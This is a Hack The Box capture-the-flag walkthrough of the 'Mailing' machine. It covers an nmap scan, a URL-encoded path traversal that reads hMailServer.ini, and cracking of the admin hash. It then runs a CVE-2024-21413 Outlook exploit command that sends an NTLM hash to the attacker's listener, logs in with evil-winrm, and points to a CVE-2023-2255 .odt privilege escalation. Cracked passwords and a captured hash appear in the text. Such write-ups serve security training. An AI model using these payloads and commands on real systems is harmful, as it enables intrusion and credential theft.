HTB - Mailing

NMAP

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- -A -T4 10.10.11.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 15:50 EDT
Nmap scan report for mailing.htb (10.10.11.14)
Host is up (0.043s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Mailing
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0

110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: TOP USER UIDL

135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: NAMESPACE completed OK CAPABILITY IMAP4 QUOTA RIGHTS=texkA0001 IMAP4rev1 CHILDREN IDLE SORT ACL
445/tcp   open  microsoft-ds?

465/tcp   open  ssl/smtp      hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time

587/tcp   open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10

993/tcp   open  ssl/imap      hMailServer imapd
|_imap-capabilities: NAMESPACE completed OK CAPABILITY IMAP4 QUOTA RIGHTS=texkA0001 IMAP4rev1 CHILDREN IDLE SORT ACL
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10

5040/tcp  open  unknown ?? <-- 

5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
62230/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-05-25T19:54:55
|_  start_date: N/A
|_clock-skew: -14s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   42.39 ms 10.10.14.1
2   42.42 ms mailing.htb (10.10.11.14)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 306.20 seconds


10.10.11.14

there's a download link for 'instructions' pdf. this instructions pdf download is vulnerable to LFI - test by replacing the name of the pdf in the download parameter with any random one. it returns 'file not found' - thus, we gotta LFI it out.

** important note about this LFI - you have to URL encode the path you are trying to traverse.

Program%20Files\hMailServer\Bin\hMailServer.ini 
/../../../../../../../../../Program%20Files/hMailServer/Bin/hMailServer.ini

grabbing this ini file gives us a couple of interesting things:

[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1

if you go through hmailserver docs we find out administrator password is a weak md5 password. cracking it with hashcat gives us homenetworkingadministrator we can login to adminstrator@mailing.htb using this password.


from here we use CVE https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability this cve nets us an NTLM hash once we use it correctly:

┌──(root㉿kali)-[~/boxes/mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability]
└─# python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient administrator@mailing.htb --url '\10.10.14.4' --subject test123

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de                                                           

✅ Email sent successfully.

from our responder -i eth0 window we capture an NTLM hash - important note about this, is that I thought i was doing it incorrectly this entire time but it turns out i was just being impatient. it took a little bit of time for the hash to be returned back to my responder listener

[SMB] NTLMv2-SSP Client   : 10.10.11.14
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:3a404d80a0725b07:CB46CCBBD0AE62A4C614D610F29BE634:01010000000000000041DED097AFDA01CFAE23B37F4DFE9D0000000002000800570041004700540001001E00570049004E002D005200570039003300510059004F0050004F004600340004003400570049004E002D005200570039003300510059004F0050004F00460034002E0057004100470054002E004C004F00430041004C000300140057004100470054002E004C004F00430041004C000500140057004100470054002E004C004F00430041004C00070008000041DED097AFDA0106000400020000000800300030000000000000000000000000200000E40961A4277A7A8AADDBC098DEFEB5A221F6187D5535CEA870484E2523C035F20A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0034000000000000000000

cracking the above ntlm hash again with hashcat gives us: maya:m4y4ngs4ri

lets go and and try to use that to login with evil-winrm

┌──(root㉿kali)-[~/boxes/mailing]
└─# evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri
[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents> whoami
mailing\maya

very cool now lets enumerate

basically you had to use https://github.com/elweth-sec/CVE-2023-2255 and place exploit.odt in the important documents folder location. you enumerated this was the case by looking at the My Documents folder and seeing that there are scripts executed there where .odt file is executed in administrator context in important documents .